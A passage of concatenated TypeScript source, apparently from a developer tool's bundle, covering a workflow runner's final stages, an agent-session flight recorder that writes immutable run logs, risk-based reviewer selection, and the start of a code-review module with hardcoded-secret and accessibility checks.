${truncate(ctx.task, 100)}`,\n summary: `Ran workflow \"${ctx.def.id}\" at ${ctx.risk} risk; quality gate ${gatePassed ? 'passed' : 'blocked'} with ${ctx.state.gateEvidence.length} evidence item(s)${blastNote}.`,\n source: `workflow-run:${ctx.def.id}`,\n confidence: gatePassed ? 0.8 : 0.5,\n evidence: evidenceRefs,\n relatedFiles: (ctx.state.contextPack?.relevantFiles ?? []).slice(0, 25),\n relatedFeatures: [],\n riskLevel: ctx.risk,\n });\n ctx.state.memoryItemId = item.id;\n return {\n stage: 'memory',\n status: 'ok',\n detail: `recorded decision memory ${item.id} (confidence ${item.confidence})`,\n evidenceIds: [item.id],\n };\n}\n\nasync function stageShipReport(ctx: StageContext): Promise<StageOutcome> {\n const report = await generateShipReport(ctx.root, ctx.config, ctx.graph, ctx.ledgers);\n ctx.state.shipReport = report;\n if (report.status === 'NOT_READY') {\n ctx.blockedReasons.push('ship report is NOT_READY');\n }\n return {\n stage: 'ship-report',\n status: report.status === 'NOT_READY' ? 'failed' : 'ok',\n detail: `${report.status}: ${report.passed.length} passed, ${report.blocked.length} blocked, ${report.warnings.length} warning(s)`,\n evidenceIds: report.evidenceIds,\n };\n}\n\nfunction stageLearn(ctx: StageContext): StageOutcome {\n const shipStatus = ctx.state.shipReport?.status ?? 'n/a';\n const okCount = ctx.priorOutcomes.filter((o) => o.status === 'ok').length;\n const lesson =\n ctx.blockedReasons.length > 0\n ? `Workflow \"${ctx.def.id}\" @ ${ctx.risk} risk was blocked (${ctx.blockedReasons.join('; ')}). Lesson: resolve the blocking gate at its root cause before retrying, and capture the fix as a regression check.`\n : `Workflow \"${ctx.def.id}\" @ ${ctx.risk} risk completed (${okCount} stages verified, ship ${shipStatus}). Lesson: this stage sequence is a repeatable pattern for ${ctx.def.taskTypes.join('/')} tasks.`;\n // The learning stub is persisted as part of the WorkflowRun record; the §7.17\n // learning engine owns durable LearnedFailure records.\n return { stage: 'learn', status: 'ok', detail: lesson, evidenceIds: [] };\n}\n\n// --- persistence ------------------------------------------------------------\n\n/** Validate + atomically write a workflow run to `.cortex/workflows/<id>.json`. */\nasync function persistRun(root: string, run: WorkflowRun): Promise<WorkflowRun> {\n const result = WorkflowRunSchema.safeParse(run);\n if (!result.success) {\n throw new SchemaValidationError('Refusing to write an invalid workflow run.', {\n details: result.error.issues,\n cause: result.error,\n });\n }\n const validated = result.data;\n const dir = workflowsDir(root);\n const file = path.join(dir, `${validated.id}.json`);\n const tmp = path.join(dir, `.${validated.id}.${randomUUID()}.tmp`);\n try {\n await mkdir(dir, { recursive: true });\n await writeFile(tmp, `${JSON.stringify(validated, null, 2)}\\n`, 'utf8');\n await rename(tmp, file);\n } catch (err) {\n await rm(tmp, { force: true }).catch(() => undefined);\n throw new DevCortexError('INTERNAL', `Unable to write workflow run to ${file}.`, { cause: err });\n }\n return validated;\n}\n\n/** Parse + schema-validate raw run JSON, mapping failure to a clear error. */\nfunction parseRun(raw: string, file: string): WorkflowRun {\n let parsed: unknown;\n try {\n parsed = JSON.parse(raw);\n } catch (err) {\n throw new SchemaValidationError(`The workflow run at ${file} is not valid JSON.`, { cause: err });\n }\n const result = WorkflowRunSchema.safeParse(parsed);\n if (!result.success) {\n throw new SchemaValidationError(`The workflow run at ${file} failed schema validation.`, {\n details: result.error.issues,\n cause: result.error,\n });\n }\n return result.data;\n}\n\n// --- helpers ----------------------------------------------------------------\n\nfunction aboveRisk(stage: WorkflowStage, risk: RiskLevel): boolean {\n return RISK_RANK[STAGE_MIN_RISK[stage]] > RISK_RANK[risk];\n}\n\nfunction requireIntent(ctx: StageContext, stage: WorkflowStage): IntentContract {\n if (ctx.state.intent === undefined) {\n throw new DevCortexError('INTERNAL', `stage \"${stage}\" requires the intent stage to have run first`);\n }\n return ctx.state.intent;\n}\n\nfunction buildRunId(iso: string): string {\n const stamp = iso.replace(/[:.]/g, '-').replace('T', '-').replace(/Z$/, '');\n return `${RUN_ID_PREFIX}${stamp}-${randomUUID().slice(0, 8)}`;\n}\n\nfunction runFile(root: string, runId: string): string {\n assertSafeRunId(runId);\n return path.join(workflowsDir(root), `${runId}.json`);\n}\n\nfunction assertSafeRunId(id: string): void {\n if (typeof id !== 'string' || id.length === 0) {\n throw new SchemaValidationError('A workflow run id must be a non-empty string.');\n }\n if (id !== path.basename(id) || id.includes('..') || id.includes('/') || id.includes('\\\\')) {\n throw new SchemaValidationError(`The workflow run id \"${id}\" is not a safe id.`);\n }\n}\n\nfunction assertRoot(root: string): void {\n if (typeof root !== 'string' || root.trim().length === 0) {\n throw new SchemaValidationError('runWorkflow: root must be a non-empty string.');\n }\n}\n\nfunction assertTask(task: string): void {\n if (typeof task !== 'string' || task.trim().length === 0) {\n throw new SchemaValidationError('runWorkflow: task must be a non-empty string.');\n }\n}\n\nfunction assertDeps(deps: WorkflowDeps): void {\n if (deps === null || typeof deps !== 'object') {\n throw new SchemaValidationError('runWorkflow: deps must be a WorkflowDeps object.');\n }\n if (deps.graph === null || typeof deps.graph !== 'object' || !Array.isArray(deps.graph.files)) {\n throw new SchemaValidationError('runWorkflow: deps.graph must be a ProjectGraph.');\n }\n if (deps.config === null || typeof deps.config !== 'object' || deps.config.risk === undefined) {\n throw new SchemaValidationError('runWorkflow: deps.config must be a CortexConfig.');\n }\n const ledgers = deps.ledgers as Partial<WorkflowLedgers> | null | undefined;\n if (\n ledgers === null ||\n typeof ledgers !== 'object' ||\n ledgers.memory === undefined ||\n ledgers.feature === undefined ||\n ledgers.decision === undefined ||\n ledgers.evidence === undefined\n ) {\n throw new SchemaValidationError(\n 'runWorkflow: deps.ledgers must include memory, feature, decision, and evidence ledgers.',\n );\n }\n}\n\nfunction firstLine(text: string): string {\n const line = text.split('\\n', 1)[0] ?? text;\n return truncate(line.trim(), 120);\n}\n\nfunction truncate(text: string, max: number): string {\n return text.length <= max ? text : `${text.slice(0, Math.max(0, max - 1))}…`;\n}\n\nfunction errorMessage(err: unknown): string {\n if (err instanceof Error) {\n return err.message;\n }\n return String(err);\n}\n\nfunction compareByStartedThenId(a: WorkflowRun, b: WorkflowRun): number {\n if (a.startedAt !== b.startedAt) {\n return a.startedAt < b.startedAt ? -1 : 1;\n }\n if (a.id === b.id) {\n return 0;\n }\n return a.id < b.id ? -1 : 1;\n}\n\nfunction isErrnoException(err: unknown): err is NodeJS.ErrnoException {\n return err instanceof Error && typeof (err as NodeJS.ErrnoException).code === 'string';\n}\n","// ============================================================================\n// Agent Flight Recorder (§7.16) — implementation.\n//\n// Records an agent session as a directory under `.cortex/runs/`:\n//\n// .cortex/runs/run-<ISO-ish>-<uuid8>/\n// record.json <- the persisted RunRecord index (source of truth)\n// prompt.md <- initial prompt\n// intent.md <- compiled intent\n// context.md <- context pack\n// plan.md <- agent plan\n// toolcalls.jsonl <- one JSON object per line (append-only)\n// commands.log <- one command per line (append-only)\n// evidence.json <- JSON array of attached evidence ids\n// ship-report.md <- final ship report\n// learning.md <- captured learning\n//\n// A run is `open` while it accepts artifacts and `closed` once sealed by\n// `finishRun`; a sealed run rejects further writes (PolicyViolationError) so the\n// on-disk record of what actually happened is immutable and replayable.\n//\n// Everything here is deterministic and tokenless (the OSS layer): no LLM calls,\n// no network, real filesystem I/O only.\n// ============================================================================\n\nimport { randomUUID } from 'node:crypto';\nimport { appendFile, mkdir, readFile, readdir, rename, rm, writeFile } from 'node:fs/promises';\nimport path from 'node:path';\n\nimport type { Dirent } from 'node:fs';\n\nimport {\n DevCortexError,\n PolicyViolationError,\n RunRecordSchema,\n SchemaValidationError,\n} from '../domain';\nimport type { RunRecord } from '../domain';\nimport { workspacePaths } from '../workspace';\n\n// --- on-disk layout ---------------------------------------------------------\n\n/** Name of the persisted index file inside every run directory. */\nconst RECORD_FILE = 'record.json';\n\n/** Prefix every run directory carries; used to filter foreign entries. */\nconst RUN_DIR_PREFIX = 'run-';\n\n/** Fixed artifact file names inside a run directory. */\nconst FILES = {\n prompt: 'prompt.md',\n intent: 'intent.md',\n context: 'context.md',\n plan: 'plan.md',\n toolcalls: 'toolcalls.jsonl',\n commands: 'commands.log',\n evidence: 'evidence.json',\n shipReport: 'ship-report.md',\n learning: 'learning.md',\n} as const;\n\n// --- public types -----------------------------------------------------------\n\n/**\n * The kind of artifact being recorded, keyed to the file it lands in:\n * - `prompt` | `intent` | `context` | `plan` | `learning` | `ship-report`\n * overwrite their markdown file (last write wins).\n * - `toolcall` appends one JSON object to `toolcalls.jsonl`.\n * - `command` appends one line to `commands.log`.\n */\nexport type ArtifactKey =\n | 'prompt'\n | 'intent'\n | 'context'\n | 'plan'\n | 'toolcall'\n | 'command'\n | 'ship-report'\n | 'learning';\n\n/** Result of {@link compareRuns}. Deltas are order-independent symmetric diffs. */\nexport interface RunComparison {\n /** true when both runs recorded the same task string. */\n sameTask: boolean;\n /** commands present in exactly one of the two runs, sorted. */\n commandDelta: string[];\n /** evidence ids present in exactly one of the two runs, sorted. */\n evidenceDelta: string[];\n}\n\n// --- public API -------------------------------------------------------------\n\n/**\n * Begin recording a run. Creates `.cortex/runs/<id>/` with a fresh `record.json`\n * and empty artifact files, and returns the open {@link RunRecord}.\n */\nexport async function startRun(root: string, task: string): Promise<RunRecord> {\n if (typeof task !== 'string' || task.trim().length === 0) {\n throw new SchemaValidationError('A run task description must be a non-empty string.');\n }\n\n const { runsDir } = workspacePaths(root);\n const createdAt = new Date().toISOString();\n const id = buildRunId(createdAt);\n const dir = path.join(runsDir, id);\n\n try {\n await mkdir(dir, { recursive: true });\n await Promise.all([\n writeFile(path.join(dir, FILES.prompt), '', 'utf8'),\n writeFile(path.join(dir, FILES.intent), '', 'utf8'),\n writeFile(path.join(dir, FILES.context), '', 'utf8'),\n writeFile(path.join(dir, FILES.plan), '', 'utf8'),\n writeFile(path.join(dir, FILES.toolcalls), '', 'utf8'),\n writeFile(path.join(dir, FILES.commands), '', 'utf8'),\n // evidence.json is a real JSON document from the first byte, so a reader\n // never sees an empty (invalid) `.json` file.\n writeFile(path.join(dir, FILES.evidence), '[]\\n', 'utf8'),\n writeFile(path.join(dir, FILES.shipReport), '', 'utf8'),\n writeFile(path.join(dir, FILES.learning), '', 'utf8'),\n ]);\n } catch (err) {\n throw new DevCortexError('INTERNAL', `Unable to create run directory at ${dir}.`, {\n cause: err,\n });\n }\n\n const record: RunRecord = {\n id,\n dir,\n task,\n createdAt,\n toolCalls: [],\n commands: [],\n evidenceIds: [],\n intentPresent: false,\n contextPresent: false,\n planPresent: false,\n status: 'open',\n };\n\n return persistRecord(record);\n}\n\n/**\n * Record one artifact into an open run. Overwrites the markdown files, appends\n * to the JSONL/log files, and keeps `record.json` in sync. Throws\n * {@link PolicyViolationError} if the run is already closed.\n */\nexport async function recordArtifact(\n root: string,\n runId: string,\n key: ArtifactKey,\n content: string,\n): Promise<void> {\n if (typeof content !== 'string') {\n throw new SchemaValidationError('Artifact content must be a string.');\n }\n\n const record = await readRecord(root, runId);\n assertOpen(record, 'accept new artifacts');\n const dir = runDir(root, runId);\n\n switch (key) {\n case 'prompt':\n await writeFile(path.join(dir, FILES.prompt), content, 'utf8');\n record.prompt = content;\n break;\n case 'intent':\n await writeFile(path.join(dir, FILES.intent), content, 'utf8');\n record.intentPresent = true;\n break;\n case 'context':\n await writeFile(path.join(dir, FILES.context), content, 'utf8');\n record.contextPresent = true;\n break;\n case 'plan':\n await writeFile(path.join(dir, FILES.plan), content, 'utf8');\n record.planPresent = true;\n break;\n case 'toolcall': {\n const parsed = parseToolCall(content);\n // Re-serialize compactly so a payload with embedded newlines can never\n // split one tool call across multiple JSONL lines.\n await appendFile(path.join(dir, FILES.toolcalls), `${JSON.stringify(parsed)}\\n`, 'utf8');\n record.toolCalls = [...record.toolCalls, parsed];\n break;\n }\n case 'command':\n await appendFile(path.join(dir, FILES.commands), `${content}\\n`, 'utf8');\n record.commands = [...record.commands, content];\n break;\n case 'ship-report':\n await writeFile(path.join(dir, FILES.shipReport), content, 'utf8');\n record.shipReportPath = path.join(dir, FILES.shipReport);\n break;\n case 'learning':\n await writeFile(path.join(dir, FILES.learning), content, 'utf8');\n record.learning = content;\n break;\n default: {\n // Exhaustiveness guard: unreachable for valid ArtifactKey, but a JS caller\n // could still pass junk, so fail loud rather than silently drop it.\n const exhaustive: never = key;\n throw new SchemaValidationError(`Unknown run artifact key \"${String(exhaustive)}\".`);\n }\n }\n\n await persistRecord(record);\n}\n\n/**\n * Attach an evidence id to an open run. Deduplicates, rewrites `evidence.json`,\n * and keeps `record.json` authoritative. Throws {@link PolicyViolationError} if\n * the run is already closed.\n */\nexport async function attachEvidence(root: string, runId: string, evidenceId: string): Promise<void> {\n if (typeof evidenceId !== 'string' || evidenceId.length === 0) {\n throw new SchemaValidationError('An evidence id must be a non-empty string.');\n }\n\n const record = await readRecord(root, runId);\n assertOpen(record, 'accept new evidence');\n\n if (!record.evidenceIds.includes(evidenceId)) {\n record.evidenceIds = [...record.evidenceIds, evidenceId];\n }\n\n const dir = runDir(root, runId);\n await writeFile(\n path.join(dir, FILES.evidence),\n `${JSON.stringify(record.evidenceIds, null, 2)}\\n`,\n 'utf8',\n );\n await persistRecord(record);\n}\n\n/**\n * Seal a run: set status to `closed` and optionally record where the final ship\n * report lives. Idempotent — re-finishing a closed run is allowed and can update\n * `shipReportPath`.\n */\nexport async function finishRun(\n root: string,\n runId: string,\n shipReportPath?: string,\n): Promise<RunRecord> {\n const record = await readRecord(root, runId);\n record.status = 'closed';\n if (shipReportPath !== undefined) {\n if (typeof shipReportPath !== 'string' || shipReportPath.length === 0) {\n throw new SchemaValidationError('shipReportPath must be a non-empty string when provided.');\n }\n record.shipReportPath = shipReportPath;\n }\n return persistRecord(record);\n}\n\n/** All recorded runs, sorted by `createdAt` (then id) ascending. */\nexport async function listRuns(root: string): Promise<RunRecord[]> {\n const { runsDir } = workspacePaths(root);\n\n let entries: Dirent[];\n try {\n entries = await readdir(runsDir, { withFileTypes: true });\n } catch (err) {\n if (isErrnoException(err) && err.code === 'ENOENT') {\n // No runs directory yet => no runs. Not an error condition.\n return [];\n }\n throw new DevCortexError('INTERNAL', `Unable to list runs in ${runsDir}.`, { cause: err });\n }\n\n const records: RunRecord[] = [];\n for (const entry of entries) {\n if (!entry.isDirectory() || !entry.name.startsWith(RUN_DIR_PREFIX)) {\n continue;\n }\n const file = path.join(runsDir, entry.name, RECORD_FILE);\n let raw: string;\n try {\n raw = await readFile(file, 'utf8');\n } catch (err) {\n if (isErrnoException(err) && err.code === 'ENOENT') {\n // A run directory without a record.json is incomplete/foreign; skip it\n // rather than failing the whole listing.\n continue;\n }\n throw new DevCortexError('INTERNAL', `Unable to read run record at ${file}.`, { cause: err });\n }\n records.push(parseRecord(raw, file));\n }\n\n records.sort(compareByCreatedThenId);\n return records;\n}\n\n/** Load a single run by id. Throws {@link SchemaValidationError} if absent. */\nexport async function loadRun(root: string, runId: string): Promise<RunRecord> {\n return readRecord(root, runId);\n}\n\n/**\n * Compare two runs. `sameTask` reflects the task string; the deltas are the\n * order-independent symmetric differences of the two runs' commands and\n * evidence ids (i.e. entries present in exactly one of the runs), sorted.\n */\nexport async function compareRuns(root: string, a: string, b: string): Promise<RunComparison> {\n const [runA, runB] = await Promise.all([readRecord(root, a), readRecord(root, b)]);\n return {\n sameTask: runA.task === runB.task,\n commandDelta: symmetricDifference(runA.commands, runB.commands),\n evidenceDelta: symmetricDifference(runA.evidenceIds, runB.evidenceIds),\n };\n}\n\n// --- internals --------------------------------------------------------------\n\n/** Build a sortable, filesystem-safe run id from an ISO timestamp. */\nfunction buildRunId(iso: string): string {\n // 2026-07-01T09:04:05.123Z -> 2026-07-01-09-04-05-123\n const stamp = iso.replace(/[:.]/g, '-').replace('T', '-').replace(/Z$/, '');\n return `${RUN_DIR_PREFIX}${stamp}-${randomUUID().slice(0, 8)}`;\n}\n\n/** Resolve a run's directory, rejecting ids that could escape `runsDir`. */\nfunction runDir(root: string, runId: string): string {\n assertSafeRunId(runId);\n return path.join(workspacePaths(root).runsDir, runId);\n}\n\n/** Reject empty or path-traversing run ids before they become path segments. */\nfunction assertSafeRunId(id: string): void {\n if (typeof id !== 'string' || id.length === 0) {\n throw new SchemaValidationError('A run id must be a non-empty string.');\n }\n if (id !== path.basename(id) || id.includes('..') || id.includes('/') || id.includes('\\\\')) {\n throw new SchemaValidationError(`The run id \"${id}\" is not a safe run id.`);\n }\n}\n\n/** Guard: a sealed run must not mutate. */\nfunction assertOpen(record: RunRecord, action: string): void {\n if (record.status === 'closed') {\n throw new PolicyViolationError(`Run \"${record.id}\" is closed and cannot ${action}.`);\n }\n}\n\n/** Parse a toolcall payload, enforcing the JSON Lines invariant. */\nfunction parseToolCall(content: string): unknown {\n try {\n return JSON.parse(content) as unknown;\n } catch (err) {\n throw new SchemaValidationError(\n 'A toolcall artifact must be a JSON-encoded string so toolcalls.jsonl stays valid JSON Lines.',\n { cause: err },\n );\n }\n}\n\n/**\n * Validate a fully-formed record and persist it atomically (temp file + rename\n * within the run directory), returning the schema-parsed value. `rename` is\n * atomic within a filesystem, so a concurrent reader or a crash mid-write never\n * observes a truncated `record.json`.\n */\nasync function persistRecord(record: RunRecord): Promise<RunRecord> {\n const result = RunRecordSchema.safeParse(record);\n if (!result.success) {\n throw new SchemaValidationError('Refusing to write an invalid run record.', {\n details: result.error.issues,\n cause: result.error,\n });\n }\n const validated = result.data;\n const file = path.join(validated.dir, RECORD_FILE);\n const tmp = path.join(validated.dir, `.${RECORD_FILE}.${randomUUID()}.tmp`);\n try {\n await mkdir(validated.dir, { recursive: true });\n await writeFile(tmp, `${JSON.stringify(validated, null, 2)}\\n`, 'utf8');\n await rename(tmp, file);\n } catch (err) {\n await rm(tmp, { force: true }).catch(() => undefined);\n throw new DevCortexError('INTERNAL', `Unable to write run record to ${file}.`, { cause: err });\n }\n return validated;\n}\n\n/** Read + validate a run's `record.json`; throws when it does not exist. */\nasync function readRecord(root: string, runId: string): Promise<RunRecord> {\n const dir = runDir(root, runId);\n const file = path.join(dir, RECORD_FILE);\n let raw: string;\n try {\n raw = await readFile(file, 'utf8');\n } catch (err) {\n if (isErrnoException(err) && err.code === 'ENOENT') {\n throw new SchemaValidationError(`No recorded run exists with id \"${runId}\".`);\n }\n throw new DevCortexError('INTERNAL', `Unable to read run record at ${file}.`, { cause: err });\n }\n return parseRecord(raw, file);\n}\n\n/** Parse + schema-validate raw record JSON, mapping failure to a clear error. */\nfunction parseRecord(raw: string, file: string): RunRecord {\n let parsed: unknown;\n try {\n parsed = JSON.parse(raw);\n } catch (err) {\n throw new SchemaValidationError(`The run record at ${file} is not valid JSON.`, { cause: err });\n }\n const result = RunRecordSchema.safeParse(parsed);\n if (!result.success) {\n throw new SchemaValidationError(`The run record at ${file} failed schema validation.`, {\n details: result.error.issues,\n cause: result.error,\n });\n }\n return result.data;\n}\n\n/** Stable ordering for listRuns: by createdAt, then id, ascending. */\nfunction compareByCreatedThenId(a: RunRecord, b: RunRecord): number {\n if (a.createdAt !== b.createdAt) {\n return a.createdAt < b.createdAt ? -1 : 1;\n }\n if (a.id === b.id) {\n return 0;\n }\n return a.id < b.id ? -1 : 1;\n}\n\n/** Entries present in exactly one of the two arrays, deduped and sorted. */\nfunction symmetricDifference(a: readonly string[], b: readonly string[]): string[] {\n const setA = new Set(a);\n const setB = new Set(b);\n const out = new Set<string>();\n for (const value of setA) {\n if (!setB.has(value)) {\n out.add(value);\n }\n }\n for (const value of setB) {\n if (!setA.has(value)) {\n out.add(value);\n }\n }\n return [...out].sort();\n}\n\n/** Narrow an unknown thrown value to a Node `errno` exception. */\nfunction isErrnoException(err: unknown): err is NodeJS.ErrnoException {\n return err instanceof Error && typeof (err as NodeJS.ErrnoException).code === 'string';\n}\n","/**\n * convene — deterministic, risk-triggered reviewer selection (§7.14).\n *\n * The Senior Engineer Council is a *mixture of reviewers* that must not create\n * noisy debates by default. `convene` decides which reviewer lenses fire for a\n * given task, using two purely deterministic inputs:\n *\n * 1. a BASE lens set keyed by task type — the perspectives intrinsically\n * relevant to that kind of change (e.g. `billing` always wants architect +\n * security + devops + qa, matching the design's worked example), and\n * 2. a RISK ESCALATION set — cross-cutting lenses that switch on as risk\n * rises, so a low-risk chore convenes almost no one while a critical change\n * draws a broad review regardless of its nominal type (§7.14/§7.16: depth\n * depends on risk).\n *\n * The result is deduped and returned in canonical `REVIEWER_LENSES` order so the\n * output is stable and testable. Tokenless and side-effect-free.\n */\n\nimport type { ReviewerLens, RiskLevel, TaskType } from '../domain/index';\nimport { REVIEWER_LENSES, RISK_LEVELS, TASK_TYPES, DevCortexError } from '../domain/index';\n\n/** Canonical position of each lens, used to produce a stable output order. */\nconst LENS_ORDER: ReadonlyMap<ReviewerLens, number> = new Map(\n REVIEWER_LENSES.map((lens, index) => [lens, index]),\n);\n\n/**\n * Base reviewer set per task type — the lenses always worth convening for that\n * kind of change even at low risk. `chore` intentionally convenes no one.\n */\nconst BASE_LENSES: Record<TaskType, ReviewerLens[]> = {\n feature: ['architect', 'qa'],\n bugfix: ['qa'],\n ui: ['ui-ux', 'frontend'],\n auth: ['security', 'architect', 'qa'],\n billing: ['architect', 'security', 'devops', 'qa'],\n database: ['architect', 'devops', 'qa'],\n api: ['architect', 'security', 'qa'],\n dependency: ['security', 'devops'],\n security: ['security', 'architect'],\n devops: ['devops'],\n refactor: ['architect', 'qa'],\n test: ['qa'],\n docs: ['documentation'],\n release: ['devops', 'qa', 'documentation'],\n chore: [],\n};\n\n/**\n * Cross-cutting lenses that switch on as risk rises. Additive to the base set:\n * the higher the risk, the broader the review, independent of task type.\n */\nconst RISK_ESCALATION: Record<RiskLevel, ReviewerLens[]> = {\n low: [],\n medium: ['qa'],\n high: ['qa', 'security', 'devops'],\n critical: ['qa', 'security', 'devops', 'architect', 'documentation'],\n};\n\n/**\n * Dedupe a lens list and return it in canonical `REVIEWER_LENSES` order.\n * Unknown values (defensive against non-TS callers) sort first but are otherwise\n * preserved so nothing is silently dropped.\n */\nexport function canonicalizeLenses(lenses: readonly ReviewerLens[]): ReviewerLens[] {\n return [...new Set(lenses)].sort(\n (a, b) => (LENS_ORDER.get(a) ?? -1) - (LENS_ORDER.get(b) ?? -1),\n );\n}\n\n/**\n * Decide which reviewer lenses fire for a task of the given type and risk.\n *\n * @example convene('billing', 'low') -> ['architect', 'security', 'qa', 'devops']\n * @example convene('ui', 'low') -> ['ui-ux', 'frontend']\n * @example convene('chore', 'low') -> []\n *\n * @throws DevCortexError('INTERNAL') when `taskType` or `risk` is not a member of\n * the domain enums (guards JS callers that violate the static contract).\n */\nexport function convene(taskType: TaskType, risk: RiskLevel): ReviewerLens[] {\n if (!(TASK_TYPES as readonly string[]).includes(taskType)) {\n throw new DevCortexError('INTERNAL', `convene: unknown task type \"${String(taskType)}\"`);\n }\n if (!(RISK_LEVELS as readonly string[]).includes(risk)) {\n throw new DevCortexError('INTERNAL', `convene: unknown risk level \"${String(risk)}\"`);\n }\n return canonicalizeLenses([...BASE_LENSES[taskType], ...RISK_ESCALATION[risk]]);\n}\n","/**\n * review — the working half of the Senior Engineer Council (§7.14).\n *\n * Where {@link convene} decides *which* reviewer lenses fire for a task, `review`\n * actually runs them: each convened lens executes a set of CONCRETE, deterministic\n * checks over the project graph and the files on disk, and emits short,\n * evidence-backed {@link CouncilFinding}s. The council is deliberately quiet — a\n * lens only produces a finding when it observes a real issue, never a speculative\n * \"consider…\" note — so the output stays actionable rather than noisy.\n *\n * Everything here is tokenless and side-effect-free apart from reading source\n * files. File reads are fail-safe: an unreadable file is skipped (never aborts the\n * review), mirroring the graph scanner's degrade-don't-crash contract.\n *\n * The lenses and their checks:\n * security hardcoded secrets in risky files, `NEXT_PUBLIC_*` secrets,\n * server secrets leaked into client (`'use client'`) bundles\n * devops undocumented env vars, missing Dockerfile, missing CI\n * qa risky code files with no accompanying test\n * architecture oversized source files, lib/service → UI layering inversions\n * frontend unsafe `dangerouslySetInnerHTML` in components\n * ui-ux `<img>` without `alt` (accessibility)\n * documentation missing repository README\n * performance large modules that bloat parse/bundle cost\n * product placeholder copy / dead links left in shipped UI\n */\n\nimport { readFile } from 'node:fs/promises';\nimport path from 'node:path';\n\nimport type {\n CortexConfig,\n CouncilFinding,\n CouncilReport,\n FileKind,\n FileNode,\n ProjectGraph,\n ReviewerLens,\n RiskLevel,\n} from '../domain/index';\nimport { DevCortexError, REVIEWER_LENSES } from '../domain/index';\nimport { isProtected } from '../policy/index';\n\nimport { canonicalizeLenses } from './convene';\n\n// --- tuning constants -------------------------------------------------------\n\n/** Source files longer than this many lines are flagged by the architect. */\nconst OVERSIZED_LINES = 400;\n/** Modules larger than this many bytes are flagged for parse/bundle cost. */\nconst LARGE_MODULE_BYTES = 24_576; // 24 KiB\n/** Cap secret findings per file so one bad fixture can't flood the report. */\nconst MAX_SECRETS_PER_FILE = 5;\n/** Cap how many env-var / file names are enumerated inside a single finding. */\nconst MAX_NAMES_LISTED = 8;\n\n/** Canonical rank of each lens, for stable finding ordering. */\nconst LENS_RANK: ReadonlyMap<ReviewerLens, number> = new Map(\n REVIEWER_LENSES.map((lens, index) => [lens, index]),\n);\nconst LENS_SET: ReadonlySet<ReviewerLens> = new Set(REVIEWER_LENSES);\n\n/** Severity ordering (critical first) for deterministic sorting. */\nconst SEVERITY_RANK: Record<RiskLevel, number> = { critical: 0, high: 1, medium: 2, low: 3 };\n\n/** File kinds that carry testable behaviour — the qa lens only cares about these. */\nconst TESTABLE_KINDS: ReadonlySet<FileKind> = new Set<FileKind>([\n 'auth',\n 'billing',\n 'middleware',\n 'api',\n 'service',\n 'lib',\n 'component',\n 'page',\n 'route',\n]);\n\n/** UI-layer file kinds — the target of a layering-inversion check. */\nconst UI_KINDS: ReadonlySet<FileKind> = new Set<FileKind>(['page', 'route', 'component']);\n/** Lower-layer file kinds that must not depend on the UI layer. */\nconst LOWER_KINDS: ReadonlySet<FileKind> = new Set<FileKind>(['lib', 'service']);\n/** File kinds that ship to (or render in) the browser. */\nconst CLIENT_KINDS: ReadonlySet<FileKind> = new Set<FileKind>(['component', 'page', 'route']);\n\nconst SOURCE_EXT_RE = /\\.[cm]?[jt]sx?$/;\nconst MARKUP_EXT_RE = /\\.(md|mdx|markdown|html?|vue|svelte)$/i;\n\nconst ENV_EXAMPLE_BASENAMES: ReadonlySet<string> = new Set([\n '.env.example',\n '.env.sample',\n '.env.template',\n '.env.defaults',\n '.env.local.example',\n]);\nconst LOCKFILE_BASENAMES: ReadonlySet<string> = new Set([\n 'package-lock.json',\n 'npm-shrinkwrap.json',\n 'pnpm-lock.yaml',\n 'yarn.lock',\n 'bun.lockb',\n]);\n\n/**\n * Ordered, most-specific-first hardcoded-secret signatures. Order matters: the\n * scanner reports at most one finding per line and the first matching pattern\n * wins, so the concrete provider tokens sit ahead of the generic assignment rule.\n */\nconst SECRET_PATTERNS: ReadonlyArray<{ label: string; re: RegExp }> = [\n { label: 'PEM private key', re: /-----BEGIN (?:RSA |EC |DSA |OPENSSH |PGP )?PRIVATE KEY-----/ },\n { label: 'AWS access key id', re: /\\bAKIA[0-9A-Z]{16}\\b/ },\n { label: 'Stripe secret key', re: /\\bsk_(?:live|test)_[0-9A-Za-z]{16,}\\b/ },\n { label: 'GitHub token', re: /\\bgh[pousr]_[0-9A-Za-z]{36,}\\b/ },\n { label: 'Google API key', re: /\\bAIza[0-9A-Za-z_-]{35}\\b/ },\n { label: 'Slack token', re: /\\bxox[baprs]-[0-9A-Za-z-]{10,}\\b/ },\n { label: 'OpenAI/Anthropic-style API key', re: /\\b(?:sk|pk)-[A-Za-z0-9]{20,}\\b/ },\n {\n label: 'hardcoded secret assignment',\n re: /(?:secret|password|passwd|api[_-]?key|access[_-]?token|private[_-]?key|client[_-]?secret)\\s*[:=]\\s*['\"][^'\"\\s]{8,}['\"]/i,\n },\n];\n\n/** Env-var names that look like server secrets (used by the client-leak check). */\nconst SECRET_ENV_RE = /(SECRET|PASSWORD|PASSWD|PRIVATE|CREDENTIAL|APIKEY|API_KEY|_KEY|TOKEN)/;\n/** Stronger secret markers for the `NEXT_PUBLIC_*` check (excludes publishable keys). */\nconst PUBLIC_SECRET_RE = /(SECRET|PASSWORD|PASSWD|PRIVATE|CREDENTIAL|TOKEN)/;\nconst USE_CLIENT_RE = /(^|\\n)\\s*['\"]use client['\"]\\s*;?/;\nconst IMG_TAG_RE = /<img\\b[^>]*>/gi;\nconst HAS_ALT_RE = /\\balt\\s*=/i;\nconst DEAD_LINK_RE = /href\\s*=\\s*(['\"])\\s*#?\\s*\\1/i;\nconst PROCESS_ENV_RE = /process\\.env(?:\\.([A-Za-z_][A-Za-z0-9_]*)|\\[\\s*['\"]([A-Za-z_][A-Za-z0-9_]*)['\"]\\s*\\])/g;\n\nconst PLACEHOLDER_PATTERNS: ReadonlyArray<{ label: string; re: RegExp }> = [\n { label: 'lorem ipsum placeholder copy', re: /lorem ipsum/i },\n { label: '\"coming soon\" placeholder', re: /coming soon/i },\n { label: '\"under construction\" placeholder', re: /under construction/i },\n];\n\n// --- shared context ---------------------------------------------------------\n\ninterface ReviewContext {\n readonly root: string;\n readonly graph: ProjectGraph;\n readonly config: CortexConfig;\n /** repo-relative path -> file content, only for files that read successfully. */\n readonly contents: ReadonlyMap<string, string>;\n /** repo-relative path -> node, for O(1) import target lookups. */\n readonly nodesByPath: ReadonlyMap<string, FileNode>;\n}\n\ntype LensCheck = (ctx: ReviewContext) => CouncilFinding[];\n\n// --- public entrypoint ------------------------------------------------------\n\n/**\n * Run the convened reviewer lenses over a project graph and its files.\n *\n * @param root absolute repo root the graph was scanned from.\n * @param graph the project graph (from `scanProject`/`loadGraph`).\n * @param config the workspace config (drives protected-path + 